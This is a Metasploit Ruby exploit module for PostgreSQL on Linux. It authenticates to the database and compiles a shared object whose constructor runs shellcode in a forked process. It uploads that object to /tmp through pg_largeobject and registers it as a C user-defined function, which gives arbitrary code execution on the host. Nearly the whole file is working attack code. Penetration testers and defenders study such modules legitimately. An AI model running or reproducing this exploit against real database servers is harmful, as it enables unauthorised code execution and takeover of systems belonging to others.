##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report

  # Creates an instance of this module.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PostgreSQL for Linux Payload Execution',
      'Description'    => %q{
        On some default Linux installations of PostgreSQL, the
        postgres service account may write to the /tmp directory, and
        may source UDF Shared Libraries's from there as well, allowing
        execution of arbitrary code.

        This module compiles a Linux shared object file, uploads it to
        the target host via the UPDATE pg_largeobject method of binary
        injection, and creates a UDF (user defined function) from that
        shared object. Because the payload is run as the shared object's
        constructor, it does not need to conform to specific Postgres
        API versions.
      },
      'Author'         =>
      [
        'midnitesnake', # this Metasploit module
        'egypt',        # on-the-fly compiled .so technique
        'todb'          # original windows module this is based on
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
        ],
      'Platform'       => 'linux',
      'Payload'        =>
        {
          'Space'    => 65535,
          'DisableNops'  => true,
        },
      'Targets'        =>
        [
          [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',    { 'Arch' => ARCH_X64 } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 05 2007'

      ))

    deregister_options('SQL', 'RETURN_ROWSET')
  end

  def check
    version = postgres_fingerprint

    if version[:auth]
      return CheckCode::Appears
    else
      print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
      return CheckCode::Safe
    end
  end

  def exploit
    version = do_login(username,password,database)
    case version
    when :noauth; print_error "Authentication failed."; return
    when :noconn; print_error "Connection failed."; return
    else
      print_status("#{rhost}:#{rport} - #{version}")
    end

    fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"

    unless postgres_upload_binary_data(payload_so(fname), fname)
      print_error "Could not upload the UDF SO"
      return
    end

    print_status "Uploaded as #{fname}, should be cleaned up automatically"
    begin
      func_name = Rex::Text.rand_text_alpha(10)
      postgres_query(
        "create or replace function pg_temp.#{func_name}()"+
        " returns void as '#{fname}','#{func_name}'"+
        " language c strict immutable"
      )
    rescue RuntimeError => e
      print_error "Failed to create UDF function: #{e.class}: #{e}"
    end
    postgres_logout if @postgres_conn

  end

  # Authenticate to the postgres server.
  #
  # Returns the version from #postgres_fingerprint
  def do_login(user=nil,pass=nil,database=nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
      result = postgres_fingerprint(
        :db => database,
        :username => user,
        :password => password
      )
      if result[:auth]
        report_service(
          :host => rhost,
          :port => rport,
          :name => "postgres",
          :info => result.values.first
        )
        return result[:auth]
      else
        print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
        return :noauth
      end
    rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
      return :noconn
    end
  end


  def payload_so(filename)
    shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
    #shellcode = "\\xcc"

    c = %Q^
      int _exit(int);
      int printf(const char*, ...);
      int perror(const char*);
      void *mmap(int, int, int, int, int, int);
      void *memcpy(void *, const void *, int);
      int mprotect(void *, int, int);
      int fork();
      int unlink(const char *pathname);

      #define MAP_PRIVATE 2
      #define MAP_ANONYMOUS 32
      #define PROT_READ 1
      #define PROT_WRITE 2
      #define PROT_EXEC 4

      #define PAGESIZE 0x1000

      char shellcode[] = "#{shellcode}";

      void run_payload(void) __attribute__((constructor));

      void run_payload(void)
      {
        int (*fp)();
        fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

        memcpy(fp, shellcode, sizeof(shellcode));
        if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
          _exit(1);
        }
        if (!fork()) {
          fp();
        }

        unlink("#{filename}");
        return;
      }

    ^

    cpu = case target_arch.first
      when ARCH_X86; Metasm::Ia32.new
      when ARCH_X64; Metasm::X86_64.new
      end
    payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

    so_file = payload_so.encode_string(:lib)

    so_file
  end
end
